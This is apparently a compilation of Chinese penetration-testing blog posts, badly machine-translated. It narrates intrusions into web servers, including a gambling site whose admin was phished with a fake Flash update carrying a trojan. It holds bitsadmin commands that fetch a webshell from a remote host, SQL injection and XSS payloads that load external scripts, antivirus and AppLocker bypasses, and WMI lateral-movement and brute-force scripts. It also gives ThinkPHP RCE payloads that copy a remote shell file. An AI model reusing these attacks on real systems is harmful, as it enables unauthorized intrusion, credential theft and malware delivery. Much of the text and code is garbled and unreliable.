一开始,我想直接打开端口并使用我的帐户登录。我没想到远程连接存在问题。然后我以为我可以带外壳尝试一下。

启用远程连接

此计算机打开Apache服务,将3389. bat放入/var/www/html中,在cmdshell中执行它。下载成功后,运行3389.bat

1bitsadmin /Transfer N http://IP /OPEN3389.BAT C: \ Windows \ Windows \ 3389.Bat运行后(记住要删除),发现端口3389已打开

5

在Kali下连接到远程桌面的问题很小。 Baidu之后,我没有清楚地解释这一点(我暂时放弃了)。

6

但是,当我切换到Win系统时,似乎没有问题,因为我考虑了如何方便地进行操作(物理机器运行Kali,如果我切换回赢),我不会捕获密码。

7

尝试getshell

首先找到Web所在的目录(请记住用空格的目录进行双引号):

1234dir C: \ dir'c: \ program Files \'. dir'C: \ Program Files \ apache Software Foundation \ tomcat 7.0 \ webapps \ eleserver \ eLeserver \'看起来应该是电源管理系统:

8

最后,我决定将外壳放在系统的UI框架的目录中。

9

还使用远程文件将JSP马来西亚下载到此目录

1bitsadmin /Transfer N http://IP /Xieying.jsp'C: \ Program Files \ Apache Software Foundation \ Apache Software Foundation \ Tomcat 7.0 \ WebApps \ Eleserver \ Eleserver \ bjui \ bjui \ plugins \ xieying.jsp

10

结束

我觉得它只是远程登录。无需浏览系统文件并删除电源系统和备份数据库的战争包。在本地构建它,您应该能够获取系统的帐户密码。

删除外壳后,我仍然是一个听话和好学生。

在SQLMAP注入过程中,始终禁止IP。面对很多阿姨,只能没有代理池就放弃吗?

用户工具:

小型飞机,代理商,TOR浏览器,TOR IP更换器(门户网站),SQLMAP

操作步骤:

首先连接到小平面

2

配置代理商

配置代理服务器

3

配置代理规则

4

您已经处于全球代理状态

5

配置和打开Tor浏览器(请勿关闭)

6

打开TOR IP更换器

单击TOR服务器- 启动,并等待软件自动配置它

单击选项- 设置- 间隔(IP开关间隔时间,越快的速度越稳定) - 保存

单击IP更换器- 启动,如下图所示,它是成功的

7

sqlmap命令

1 sqlmap.py -u url -tor -tor-tor-type='Socks5'

参考文章:

使用此方法可大大提高匿名性和安全性,但成本是牺牲一些速度和稳定性。

https://www.freebuf.com/column/171981.html

在正常穿透过程中求解疼痛点。

在渗透测试中,Windows主机上总是有各种软件杀伤设备,手动查看系统过程也很麻烦。

然后我发现互联网上没有人写过这件事,所以我有这个Windows杀手在线比较助理。

github:https://github.com/r00tse7en/get_av

在线版本:Windows Killer在线比较助手

让我们分享一下,一个是促进有需要的人,另一个是希望表兄弟可以共享一些他们通常遇到的不受欢迎的软杀。将来,Github和在线版本将继续同时更新数据。

我已经实习了一个月,我觉得每天仍然很充实〜

前言:

目标站点:A.Com

经过一系列常规操作,我发现主站点上没有什么可开始的。幸运的是,车站A没有CDN,因此您可以尝试从侧车站进入。

IP反调查,我得到了同一服务器的大约20个域名。手动通过了几次之后,我发现侧站B.com(ASPX+MSSQL)已添加了单引号并报告了错误。我将其扔进了SQLMAP,然后首先运行它,然后继续看另一个侧面站。但是,其中大多数是WordPress站点或纯粹是静态的。我没有任何麻烦。看完一段时间后,我发现SQLMAP运行的结果如下:

123456789101112---Parameter: ProductID (GET)Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: ProductID=2' AND 1913=1913 AND 'GquC'='GquCType: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING条款(in)有效载荷: produciD=2'和1360 in(select(char(113)+char(113)+char(113)+char(107)+char(107)+char(107)+char(113)+char(113)+(select(select(case(1360=1360)) 'JOdp'='JOdp---web server operating system: Windows 8.1 or 2012 R2web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 8.5back-end DBMS: Microsoft SQL Server 2008 When using SQLmap to continue running data, it was found that all dynamic pages of B station B reported errors.错误内容被翻译成一个短时间,这导致了过载数据库的查询请求太多,从而导致线程池被超载。

等待大约十分钟后,该网站恢复了正常,因此在关键时刻,手动工作仍然可靠。

MSSQL错误注入:

由于SQLMAP给出的提示包括错误注入,因此直接用于注入错误,这是相对效率的。以下是注射过程以及需要关注的内容:

获取数据库名称:

121. http://B.com/AutoMain.aspx?ProductID=1' and db_name()0--b.com_db

查询当前数据信息:

121. http://B.com/AutoMain.aspx?ProductID=1' having 1=1--Product.ProductID

踩坑的指南:

The subquery does not support returning multiple数据,MSSQL不像MySQL那样支持限制。该解决方案在

获取表名称:

1234561。http://B.com/automain.aspx?productId=1'and 1=(从sysobjects中选择xtype='u'and name!='fofe'sysobjects中的顶部1个名称! http://b.com/automain.aspx?productId=1'and 1=(从信息_schema.tables中选择顶级1个table_name); - 此方法可以查询任何用户表:3http://b.com/automain.aspx?productId=1'and con中的最佳名称,从sysobepts中选择xtypepts xtypempts xtypepts xtypepts xtypepts xtype) 1--Getted user table: AdminLogin

获取列名:

123456781. http://B.com/AutoMain.aspx?ProductID=1' and 1=(select top 1 name from sysobjects where id=(select id from sysobjects where name='AdminLogin') and name'id');--2. http://b.com/automain.aspx?productId=1'and 1=(从Information_schema.columns中选择顶级1列name); - 此方法可以查询adminlogin表的任何列:3。3http://b.com/automain.aspx?productId=1'and(colog_nate) sysobjects)1-获取用户表的列名:adminusernamePassword

获取数据:

123451。http://b.com/automain.aspx?productId=1',然后(从Adminlogin中选择Adminlogin中的顶级1用户名。 http://b.com/automain.aspx?productId=1'and(从Adminlogin中选择顶级1密码,其中adminid=1)1-计算密码:Adminisrislamabad

效果显示在图片中:

2

边框getshell:

通过获得的帐户密码成功登录了B站的网站后端

3

文件上传位置仅验证文件类型,上传图片以获取包裹并更改后缀。连接到外壳后,您发现没有跨目录的许可,因此您只能继续增加权限。

4

主机特权升高:

一开始,我查看了系统过程,它不应该杀死软(实际上,有些,从国外杀死软的人的名字不是很引人注目),而且我什至没有打过几个补丁,所以我认为很容易得到它。

我以为我可以通过常规操作取消它,因此我直接运行了CS的遥控器,发现没有在线主机。仔细看了看后,我看到特洛伊木马刚刚去世,然后我意识到自己遇到了杀手。然后,我尝试了几个升高的当地经验,要么被杀,要么报告了错误。

后来我想起,来自吐司的兄弟分享了免于杀人的远程权利工具:

成功促进权力:

5

促进功率成功后,随后的操作将是顺利的。目的是获得A.Com Shell,首先使用NC使用系统权限反弹CMDShell,然后您可以直接写马或远程下载它,并且还有许多其他姿势.

参考文章:

https://www.jianshu.com/p/0cf7bd46237e

https://github.com/aleenzz/mssql_sql_bypass_wiki

它仅适用于想法组织,但没有提供实际的用法代码,请自己收集。

1.Phpinfo Page

锻造另一方的身份以访问同一网站的phpinfo页面。由于具有相同的域,因此可以通过Ajax提交访问读取witlseText,其中$ _server [“ http_cookie”]将使用httponly属性打印出cookie。

优点:成功率很高,最不容易检测到,也是最常用的方法。

缺点:需要phpinfo页面,条件很恶劣。

2。框架钓鱼

通过iFrame标签嵌入了一个远程域,并且在完全扩展后,它覆盖了原始页面。

优点:没有跳跃,没有更改域名。

缺点:通常涵盖普通页面,管理员很容易检测到。

3。跳钓

通过购买相似的域名,构建相同的网络钓鱼页面并使受害者跳到网络钓鱼站。

优势:强有力的倡议,可以主动采取行动。

缺点:成本很高,并且由于页面跳跃太明显,因此此方法很容易检测到。

4.历史密码

通过JS锻造登录表格,并欺骗浏览器自动填充,从而获得浏览器记住的历史密码。

优点:不容易发现,可以直接获得纯文本,并以很高的成功率获得。

缺点:每个内核浏览器的兼容性不同,最新版本的Google不再支持HTTP协议下的自动填充功能。

5。获取源代码

通过XSS获取后端页面源代码,您通常可以找到一些未经授权的访问权限,或与CSRF合作以添加新用户或执行其他功能,并通过审核后端JS等发现一些漏洞。

优点:信息可详细获取,您也可以获取背景帐户名称。

缺点:它具有很大的局限性,并且不容易使用。

欢迎大师添加。

未来的迷人和辉煌总是在打电话给我,即使您只有陪伴您的痛苦,也必须勇敢地前进。

山和河流充满水,没有办法

漏洞点:现场产品审查办公室

初步测试

在开始时,我尝试了XSS,发现该程序已被过滤。不允许提交标签。最后一个被过滤,但被过滤 1 由于迅速速度相对较快,因此猜测前端有一层检测。尝试绕过前端检测,BURP拦截正式提交的内容,取代XSS有效载荷并发送。它将自动跳回主页。发现该程序后端还具有内容检测,并且XSS在这里暂时是不可行的。 查看编辑器的其他功能: 图像上传: 您可以上传ASPX(已经尝试了其他可能的解析后缀),并且无法解析和重定向到主页。 您可以上传HTML并解析。以这种方式构建的XS通常需要主动攻击,并且管理员在攻击过程中很容易检测异常,因此暂时不考虑它。 表达功能:无用。

另一个黑暗的柳树和鲜花

当我看到编辑器提示IMG的外部图像参考方法时,我觉得我可以在这里做到这一点: 2

正常测试

让我们首先查看正常引用方法中的前端显示。该链接被带入SRC(徽标之前的文本涉及域名,编码): 1 [img | xssurl |xxxxx

徽标] 3

带有有效载荷

将XSS有效载荷放在链接上,然后查看:

1234常规有效载荷:img src=x OneError=s=createElement('script''); body.appendChild(s); s.src='xssurl';构造有效载荷:[img | x OneError=s=s=createElement('scriptelement('script'')

将您学到的知识付诸实践。

脆弱性发现

经过常规过程后,我发现已读取标签信息的功能点是可疑的:

1

重播单语言:

2

您可以看到单个引号被逃脱了。查看关闭方法。没有大问题,因为有回声,因此您可以直接使用错误注入。

错误注入

获取数据库用户

1127)或updatexml(1,concat(0x3a,user()),1 3

获取数据库

1127)或updatexml(1,(选择concat(0x7e,(schema_name),0x7e),inovys_schema.schema.schemata limit 0,1),1 4

绕过安全的狗

取出我一段时间以前学到的狗打手法(超长字符绕过,不同类型的不同类型,原理是相同的):门户网站

5

以下内容与常规错误报告没有什么不同,所以我不会说太多,了解精神〜

小技巧

在渗透测试中,您习惯于从开发人员的角度考虑实现功能,并且您会更快地发现有效的入口点。

结合Burpsuite入侵者模块中的GREP匹配功能,可以快速提取错误注射结果。

超长字符不仅可以用于绕过安全犬注入中,而且还可以使用XS来污染参数。

在这里,我们只需要360来操作。防病毒能力仍然比360的能力差。

电视官方免费安装版本

这是TeamViewer官方网站下载页面:https://WWW.TEAMVIEWER.CN/CN/CN/DOWNLOAD/WINDOWS/。大多数人都用来直接下载此安装版本以使用

1

我不知道您是否注意到了。实际上,TeamViewer还提供了无安装版本的安装版本

2

旁路360

所有以下所有内容都连接到互联网,检测和杀戮引擎已完全打开(请参阅文章封面)

原始操作

以下图以正常方式运行TeamViewerqs.s.exe。尽管有提示,您可以看到默认选项是允许操作。

3

在Webshell下运行

假设现在我有此主机的网状壳,然后直接在马来西亚执行此文件

4

发现它成功弹出了

5

但是我们如何获得ID和密码? Toast共享了一部修改后的电视,该电视支持将帐户密码输出到文件中,但肯定会在以后被杀死。今天,我看到了Coolcat Master:Portal的文章。文章中有一个好主意,可以通过屏幕快照的想法获得。但是,Master CoolCat使用Python屏幕截图。实际上,没有人愿意每次在目标机器上安装Python环境。它应该简单简单。

关于屏幕捕获

有许多项目从GitHub上的命令行中获取屏幕截图。我刚刚找到一个:https://github.com/darealshinji/cmdline-screenshot-tool

在Webshell中,执行屏幕截图-Advanced64.exe并发现它被360截获了。我不知道为什么C ++中的360个报告的Java漏洞攻击.

6

简单旁路360

这里的旁路方法也很简单。将ScreenShot-Advanced64.exe的后缀更改为.7Z(在命令行上执行二进制文件时可以忽略后缀名称),然后上传它们以执行。

7

然后查看网站的根目录

8

ScreenShost.png是生成的屏幕快照,如下

9

杀死360

与帐户密码直接连接。有了远程桌面的权限,您是否仍然担心360无法做到?

10

010-1011目标客户端必须确定可以连接到TeamViewer的服务器

您必须使用远程桌面用户权限来运行TeamViewerqs.s.exe,否则屏幕将是黑色的,如果您连接到它。

上述应用程序方案仅适用于管理员不在时,因为建立远程会话后,双方都会看到它们。

我们必须保持良好的学习习惯,并使用这次我们通常学到的知识。

故事的原因

我几天前收到了一封电子邮件,内容如下:

1

您说将其发送给我有问题。我最近碰巧辞职了,我无事可做。让我们看看。

在添加了那个人的朋友之后,我偶然地聊了几个,这可能是:我说我没有钱从在线赌博中借钱,所以我请他带我去玩这个,所以我可以拿回贷款。几句话后,我向我发送了URL和邀请代码(我无法在本网站上没有邀请码注册),并要求我在网站上充电金钱。我说是的,我会先去一千。主人,你必须带我好,然后注册(后来,我没有为钱补充钱,所以他一直在摇晃我并给我发了一条消息。我感到很生气,所以我删除了他,所以聊天记录消失了,我只是指出了它,没有屏幕截图)。

脆弱性挖掘

官方网站屏幕截图

2

这太麻烦了,无法通过信息收集阶段。有云盾(WAF+CDN)。查看以下Yunxi指纹识别图。测试各种功能点,但没有结果。我不得不说,大多数BC安全性都做得很好。

3

在考虑了一段时间之后,我看到了聊天室的功能,然后去看看他们在说什么,但是我发现只有少数人来回聊天,偶尔有一些像我这样的普通成员。我觉得这是一个口号,一群导师大喊与他们下注。

专业习惯:

当您看到框时,要制作叉子,并用XSS有效载荷击中它:

1/textarea'script src=xssurl/脚本4

WDNMD没有回应?它被加载了.我问其他大师,并说这种情况可能是CSP。我不会在这里解释。我最初计划放弃,但想到了如果不限制IMG怎么办。

再次吃我:

1IMG src=x OneError=s=createElement('script'); body.appendchild(s); s.src='xssurl';5

ding〜ding〜电话响了,多么出色的声音,有效载荷已成功执行,还有一堆cookie(或不同的域名),但现实是残酷的。该网站具有httponly,无法使用cookie,并且尚未获得历史密码,但不要灰心,我们有一种更淫秽的方式。

6

闪存钓鱼

由于前肛门无法移动您,让我们走到一边。不久前,我经常看到Wuchang大师的Flash Fishing操作,这非常经典。然后,我认为有一天我会使用官方Flash网站的捕鱼源代码。我很早就写了它,然后将其放在Github:Portal上。

准备

一个自由空间,免费域名(域名可以用作www.flashxxx.tk,具有相对较高的信誉),以及可以正常启动的马匹。

然后,XSS平台创建一个模块,简要说明代码,在开始时重写警报方法,并阻止URL显示屏,弹出闪存升级提示符,然后跳到网络钓鱼页面:

7

关于Mazi

可以在运行正常安装文件时运行mazi,野蛮姿势:使用自提取捆绑文件

为了使自由压缩的EXE文件正常运行(已更改为正常的安装文件图标),必须确保其具有减压软件。我压缩了钓鱼页的自我压缩文件,并变成了flashplayerpp_install_cn.zip。这样,他必须安装解压缩文件才能打开安装程序,并且MA ZI将自然生效。

关于杀戮

由于技术有限,我们没有在没有杀死的情况下这样做。产生的马将被毒药部分杀死和报告。我不知道该怎么杀了对手,所以我想到了一种粗俗但有效的方法。实际上,许多在下载网站上下载的文件也喜欢这样做,哈哈。

8

一切都准备就绪

一切都准备就绪,只需要东风,直接发送升级提示+跳跃XSS有效载荷我刚刚写道:

9

该页面成功弹出,如果另一方不单击确定的页面,他会保持卡住。单击确定后,我的钓鱼页将跳到我的钓鱼页面(这里的钓鱼页面还添加了一些材料,以便他可以在单击后跳回钓鱼页)

但是,一开始没有人在线,所以我单击了,看到管理员重置了聊天页面的内容。奥利曾经说过:不要害怕我们遇到的任何困难。让我们更改数字并继续越过。间歇性过境和越过十次以上后,管理员可能无法帮助它(管理员:兄弟,停止玩,我还不能安装它),最后跑了我的马。

成功启动:

在这里启动了一个,但幸运的是,这是管理员的机器,否则以前的努力将是徒劳的。

10

看一段时间,相反的一面正在做爱:

11

这很明显,您可以看到钓鱼页仍然打开,他们两个仍在讨论亏损,他们死于笑声:

12

我打开了一本书,但我不明白这一点:

13

让我们看看存储了什么好东西,两个硬盘驱动器和一个U驱动器,C驱动器驱动器一无所有:

14

F磁盘上有有关会员数据,账单流,管理后端配置等的信息。

15

停止直到:

我不会说太多。我看了在线IP,跑得很远,赚钱。我离开家乡并不容易。祝您在新的一年中和平重返祖国的拥抱。

16

HireHackking

迟来的年度总结

我不知道现在写年度摘要是否有点晚。

2019

在2019年,一切顺利。我一生中的第一次实习,进入了一些小的沟通,并遇到了一些真正的“大师”。通过各种渠道,例如论坛,官方帐户,QQ,微信组和小圈子,我每天都可以被动地积极地学习各种思想和知识,并进行一些技术积累,但我仍然觉得我缺乏某种东西,这是我的定位和发展方向。

由于我选择了穿透测试的路径,因此我必须坚持下去。面对知识的“深度”和“广度”的发展,这一直是我非常困惑的问题。

选择“深度”

找到一个领域,进行深入研究,并努力在几年内达到一定水平。最好成为该领域的相对领先地位,但我觉得我并不那么聪明。我一直都在研究,我正在模仿我已经研究的内容,而且很少有人自己研究它。

选择“广度”

这更适合工作场景的需求。为了达到目标要求,您将使用任何手段来支持它。困难不亚于前者,甚至更多。进行渗透测试时需要考虑的也是一个方面。我们需要做的是在表面上找到一个突破点。这个突破点不应仅限于网络,因此我们自然需要了解一些特殊的攻击方法,这就是为什么存在“广度”的原因。这种感觉变得更加清晰,尤其是在我看到并了解更多之后。

2020

我的答案

最近,我关注了一个带有匿名ID的大师撰写的博客。匿名可能是作品本质的原因。阅读后记录的内容或多或少会引起共鸣,我还找到了问题的答案。合格的“黑客”必须追求“广度”,同时也发展了他的“深度”。这两个实际上并没有冲突,但他们只需要将更多的精力置于他们善良的方向上。如果您坚持不懈,如果您有耐心,您将始终取得成果。

未来计划

将继续练习网络(很容易开始,很难深入研究)

扩展Intranet渗透的新方向(水平,没有杀戮,权利保护)

Python(清晰的想法,高效编码)

最终目标

努力通过自己独特的见解实现相对完整的渗透测试系统

HireHackking

回炉再造

学习安全技术并承认自己的弱点不是丑闻。

只有明确原则,您才能突破更多的限制。 ——@ringzero

一,二,三,二,三,四,转身再次做。

冷静地分析并冷静地做出反应。

0x01简介

提示:只需将其视为负面情况即可。实际上,您获得的方式远不如下面提到的麻烦。我只是责怪自己太不耐烦了.

它最初是卑诗省项目创建的促销场所,但当时只有外壳

1

权限是普通用户。当他想提高许可以进一步收集服务器上的信息时,他发现拒绝运行各种事情的权限,并提示小组策略阻止程序。当时,由于还有其他事情,他没有继续研究它(用户名更敏感,整个过程将在稍后进行编码)。

2

0x02旁路pastocker

我最近突然想起了它,所以我继续这样做,问小组的主人

3

知道它是什么后,很容易说。如果您耐心地寻找它,您将始终获得一些东西。 Applocker简介:

https://baike.baidu.com/item/applocker/2300852?fr=aladdin

然后我找到了3G大师的文章:

https://3Gstudent.github.io/3gstudent.github.io/use-msxsl-to-bypass-applocker/

如何具体使用它,请自己阅读文章。阅读本文后,后续行动的总体想法将很清楚。

0x03在线升级

我认为,旁路Applocker允许目标服务器在启动马匹后执行随后的功率升级。但是,在外壳下的净用户,任务列表/SVC等的执行不得回声,否则可以判断和杀死该过程比较(我自己写的小轮子,匹配过程已增加到960+:3http://get-av.se7ensec.cn/)

既然我不知道,我会争夺我的角色,并打赌,主机中没有杀人软件。我通过上面的3G主文章的第三种方法跑了马,然后成功地上网,忽略了下面的机器.

4

启动CS后,运行一些命令,例如以下命令,任务清单/SCV仍将被拒绝访问。

5

然后,我尝试了内置的CS系统进程命令“ PS”,并成功列出了系统进程。看完之后,它确实没有杀死该软件。

/*忘了屏幕截图*/

运行“ Shell SystemInfo”,发现可以看到系统和补丁信息。但是,该系统根本没有应用一些补丁。我很幸运。我查看了用户的许可,并满足了多汁的土豆的要求。我可以直接尝试撤回腐烂的马铃薯的权利:

https://www.4hou.com/posts/vzol

经过测试后,我发现它是启动的(实际上我已经执行了执行权限,但是当时我没想到有什么问题。我意识到当我稍后总结文章时,我意识到出了问题。有关详细信息,请参阅文章的结尾)。我在C: \ Users \ public \下获得了执行权限。我用多汁的马铃薯用Whoami参数执行,并成功返回系统。

6

然后使用它直接卸下,并且系统会话将在几秒钟内进行。翻转目录后,我发现它仍然是一个网站组。

7

进行管理员权限的屏幕截图。难怪有这么多。事实证明,他们都分批建立网站:

8

0x04摘要

碰巧这次我很幸运,没有遇到杀手,否则这将是一条颠簸的道路,将会更具挑战性。

最大的失败是,这次我没有提前完全了解Appleocker的某些功能:3https://www.anquanke.com/post/id/159892。我急于搜索旁路方法并开始使用它。实际上,这次我遇到的只是文件路径的限制。 C: \ Users \ public \可以执行程序。早些时候发现并不难。但是,能够充分理解应用程序机制也是一种回报。

最后,我要感谢Haya和Beli1v1大师的指导和帮助。

便便测试

0x01简介

流行病的影响,在新年假期里呆在家里很无聊。我去了一个平台检查人群测试项目,考虑为面具赚钱

1.png

0x02直接关闭

一开始,我试图直接关闭A标签,但发现输出将以物理方式编码,因此我放弃了

2.png

0x03 JavaScript伪pseudo协议

由于输出在A标签的HREF中,因此尝试伪协议,有效负载如下:

1Javascript:Alert(document.domain)提交后,发现输出内容已直接过滤。

3.png

经过几次尝试,将过滤绕过以下有效载荷,并成功弹出了窗口。

1Javastab; Script:Alert(1)4.png

但是,一个小的破碎弹出窗口如何证明伤害

0x04旁路限制到加载外部JS

我直接使用了XSshunter的有效载荷。提交点击后,我发现执行无法成功。

5.png

在仔细比较输出内容和原始内容之后,我发现在输出时,所有字符均以小写为单位。

6.png

在这里,我们首先了解XSS中的编码问题。在评估中支持Unicode编码。最终构造的有效载荷可以单独编码大写字母。

最终效果:

7.png

0x05报告结果

我认为至少可以陷入危险情况,但是制造商认为需要单击这一点才能进行互动,这给人以较低的风险。

上诉:评级时,请查看功能点,毕竟,这是需要单击的业务功能。

制造商的反馈:经过讨论,在JavaScript的开头很难使用恶意链接,因此评级是低风险的。

给爪子

武术世界中的人们被称为轮子妈妈。

爆炸想法参考:

https://www.t00ls.net/thread-36985-1-1.html

我之所

用法的示例:

假设当前的外壳是:

1?php @eval($ _ post [a]);1)Burp Loading生成的爆炸字典

1.png

2)关闭URL编码(非常重要)

2.png

3)获取结果

3.png

4.png

该方法可以灵活地使用,其余的可以自由使用。

GitHub地址:

https://github.com/r00tse7en/shellbruter

基于WMI的侧向运动

WMI简介

WMI的全名是Windows Management仪器。它出现在所有Windows操作系统中,并由一组强大的工具组成,用于管理本地或远程Windows系统。攻击者使用WMI攻击,但是Windows系统默认情况下不会在日志中记录这些操作。它可以是无木的。攻击脚本不需要写入磁盘,这会增加隐藏。建议使用WMIC远程执行命令。

WMI利用条件

远程服务器启动Windows Management Instrumentation服务(默认为ON)

端口135未过滤[如果在默认配置下启用了目标主机防火墙,则不会连接防火墙]

连接失败常见错误编号:

1234567891111213141516171819202121。允许共享异常错误:代码=0x800706BA描述=RPC服务器不可用。设备=Win322。错误:当组策略封锁indurandIvestraotr远程访问=0x80070005描述=访问被拒绝。设备=Win323.IP安全策略块135错误:代码=0x800706BA描述=RPC服务器不可用。设备=Win324。错误:禁用Winmgmt Service=0x80070422描述=无法启动服务时代码,因为它可能被禁用或与之关联的设备未启动。设备=Win325。 Wbem directory permission is denied, wmic cannot be used.

使用WMIC进行水平运动

通用系统带有命令

123456781. List remote host process wmic /node:192.168.1.1 /user:192.168.1.1\administrator /password:00!@#123QWE process list brief2.执行BAT脚本WMIC /NODE:192.168.1 /user:192.168.1.1.1 \administrator /passwork:0!@#123QWe Process Calles CALTER CALLE CALLE CALCE CALES CARTE CREATE C: \ PROGRAMDATA \ PROGRAMDATA \ TEST.BAT33。在远程系统WMIC /NODE:192.168.1 /user:192.168.1.1.1 \administrator /password:0上执行单个命令https://www.cnblogs.com/0xdd/p/11393392.html

批处理爆炸

练习后,WMI的爆炸将有3个以上的错误。 360将拦截[没有软杀时,没有测试],日志是远程RDP爆炸,WMI的连接将受到临时限制。

※以下是一个密码爆炸。如果需要爆炸多个密码爆炸,则可以根据IPC侧面的文章水平移动它来对其进行修改。

点点:请注意特殊字符,例如密码中的%需要使用%示例:123#$%应该转换为123#$ %%

1234567891011@echo ofcho offclsecho useage:%0 ip.txtfor /f %% i in(%1)do(echo wmic /node: %% i /user:'%% i \ indersantor' /user:'%% i \管理员' /password:'123456'进程列表简短2nulif errorLevel==0(echo Success: %% i pic.txt)echo end.txt End.txt

使用工具

-1

wmiexec.vbs

Impacket-wmiexec

尚未测试

wmiexec.vbs是一种开发的工具,旨在解决WMIC无法回声命令的工具。原理是首先将数据保存在临时文件中,并在每次读取执行结果后自动删除数据。它可用于回声“执行命令”的结果并获得“半相互作用壳”。

1cscript wmiexec.vbs /cmd 192.168.1.1管理员测试@123 Whoami

SharpWmi

优点:支持PTH

缺点:它需要调用WMI服务,占据目标的445、135和另一个随机端口。

使用参考:域渗透——通过哈希实现(3Gstudent.github.io)

SharpWmi(修改版本)

这是一种基于端口135水平移动的工具。它具有执行命令和上传文件的功能。它通过WMI执行命令,并通过呼叫传输数据。

优点:仅依靠端口135,而不依靠港口139和港口445

缺点:当前,仅支持将文件上传到512kb以下,因为重置每个值的长度不能超过512kb。执行命令和上传文件都取决于PowerShell(由360拦截)https://github.com/qax-a-team/sharpwmi

Wmihacker(推荐)

https://github.com/idiotc4t/sharpwmi

这是一种基于端口135的水平移动的工具。它具有执行命令和上传文件的功能。它通过WMI执行命令,并通过注册表传输数据。

拉登

水平穿透的远程命令执行是创建服务或调用win32_process.create excution命令。这些方法已被SWSW.CKER水平运动测试工具100%截获。 (仅依靠端口135,不依靠端口139和港口445)

重要:支持PTH-https://github.com/360-linton-lab/wmihacker/issues/1

主函数:1。命令执行; 2。文件上传; 3。文件下载

https://github.com/360-linton-lab/wmihacker

Sharp-Wmiexec

模块功能

目标端口

目标系统

用法教程

WMI爆炸

港口135

视窗

http://K8GE.org/ladon/wmiscan.html

WMI-NTLMHASH爆炸

港口135

视窗

http://k8ge.org/ladon/wmihashscan.html

Wmiexec(推荐)

港口135

视窗

仅端口135在注册表中回荡,侵袭者或其他也依赖445的工具,并且不依赖PowerShell,适合任何目标

Wmiexec2

港口135

视窗

像Wmiexec一样,通过注册表回声仅需要端口135,但是依靠PowerShell,没有PowerShell的目标可能不适用。

WMICMD

未使用,尚未测试

https://github.com/checkymander/sharp-wmiexec

010-1010未使用,尚未测试

https://github.com/nccgroup/wmicmd

本文不能追溯到安全团队官方帐户的来源

0x01简介

我使用ThinkPhp v5.0。*框架和调试模式启用了该网站。我认为可以通过发送有效载荷来解决它,但是我没想到要完成它的过程。

0x02触摸坑

尝试执行命令,系统受到限制

1.png

尝试包括日志文件,open_basedir限制

2.png

这是一个想法,您可以在运行时包含日志文件,但是ThinkPHP的日志文件相对较大,有时会有许多奇怪的问题阻止代码执行。让我们将其作为替代方案。

3.png

尝试通过在thinkphp本身库中设置会话方法,然后将其写入TMP目录中的会话文件,然后包含它

1_method=__ constructFilter []=Think \ Session \ Session:SetMethod=GetServer [request_method]=? phpinfo();

4.png

俗话说,

0x03 getshell

,三名鹅卵石是一个Zhuge Liang,在向大师赛寻求帮助后,他们提供了解决方案。

诺埃尔大师的解决方案和分析:

5.png

call_user_func存在于request.php的filterValue函数下。根据有效负载,该过程已被跟踪。

首先,您将输入app.php的运行方法

12345678911112131415161719202122222222222255PUBLIC静态函数运行(请求$请求$ request=null){……………………………………………………………………………………………………………………当前课程以获取调度信息。如果您在索引模块下的索引控制器中访问索引方法,则$ dispatch=array(2){['type']=字符串(6)'模块'['module'['module']=array(3){[0]=string(5)=string(5)'index'[1]=string(5)=(5)'index'index'index'[2]=string(5)'index'indect==} self:Routecheck($ request,$ config); } //记录当前的调度信息中检索到的计划信息,即模块,控制器和方法名称存储在请求类$ request-request-dispatch($ dispatch)的调度属性中; //记录路由和请求信息。该模式可在\ application \ config.php参数app_debug中配置,if(self: $ debug){log3:333:record('[oute route]'。 log:record('[header]'。var_export($ request-header(),true),'info'); log:record('[param]'。var_export($ request-param(),true),'info'); }………………………………}在这里,我们主要关注两个函数Routecheck和param,首先查看Routecheck

12345678PUBLIC静态函数RouteCheck($ request,array $ config){$ path=$ request-path(); $ dep=$ config ['pathinfo_depr']; $结果=false; ………………………………………………………………………………………………………………………………//Route detection (return different URL scheduling according to the route definition) $result=Route:check($request, $path, $depr, $config['url_domain_deploy']);它主要通过请求参数传递,并且在检查后基本上对所有内容进行了处理。

6.png

启用调试模式后,您可以输入param函数

1234567if(empty($ this-param)){$ method=$ this-method(true); $ this-param=array_merge($ this-get(false),$ vars,$ this-route(false));} return $ this-pution($ this-param,$ name,$ name,$ default,$ default,$ filter);跟进输入功能

1234567891011公共功能输入($ data=[],$ name='',$ default=null,$ filter=''){. $ filter=$ this-getFilter($ filter,$ filter,$ default);如果(is_array($ data)){array_walk_recursive($ data,[$ this,'filterValue'],$ filter);重置($ data); } else {$ this-filtervalue($ data,$ name,$ filter); } getFilter取出过滤器的值,这是断言

array_walk_recursive

array_walk_recursive()函数将用户定义的函数应用于数组中的每个元素。在函数中,数组的密钥名称和键值是参数。此函数和array_walk()函数之间的区别在于它可以操纵更深的数组(一个数组包含另一个数组)。

并将filterValue函数应用于$数据的每个元素,然后跟进filterValue

12345678功能滤波器($ value,$ key,$ efferters){. if(is_callable($ filter)){//调用函数或滤波$ values $ value $ value=call_user_func($ filter,$ filter,$ value); } ...} Master Gunmeng的解决方案和分析:

有效载荷参考:

来自:https://xz.aliyun.com/t/3570#toc-4

1http://127.0.0.1/index.php?s=index/think/think/invokefunctionfunction=call_user_func_arrayvars [0]

1https://127.0.0.1/?s=./\ think \ app/InvokeFunctionFunction=call_user_func_arrayvars [0]=assertvars [1] []=phpinfo()=phpinfo()

1https://127.0.0.1/?s=./\ think \ app/invokefunctionfunctionfunction=call_user_func_arrayvars [0]=assertvars [1]=copy('http://127.0.0.0.0.0.1.1/shell.txt'1/shell.txt',考虑到当前的目录情况和分析:

7.png

Route.PHP的parseurl功能将处理URL

1234567 PRIVATE静态函数parseurl($ url,$ dep='/',$ autoSearch=false){. $ url=str_replace($ dep,'|',$ url);列表($ path,$ var)=self:parseurlpath($ url);}首先用|在URL中替换/然后帕尔塞尔路径将URL分开

123456789111121314151617PRIVATE静态函数parseurlPath($ url){//定界列表替换确保路由定义使用统一的定义者$ url=str_replace('|'|',','/'/'/',$ url); $ url=trim($ url,'/'); $ var=[]; if(false!==strpos($ url,'?')){..} elseif(strpos($ url,'/'')){//[module/controler/controler/operation] $ path=exploit('/',',$ url); } else {.} return [$ path,$ var]; }获取以下三个部分

8.png

loder.php下的parsename函数当模块加载时

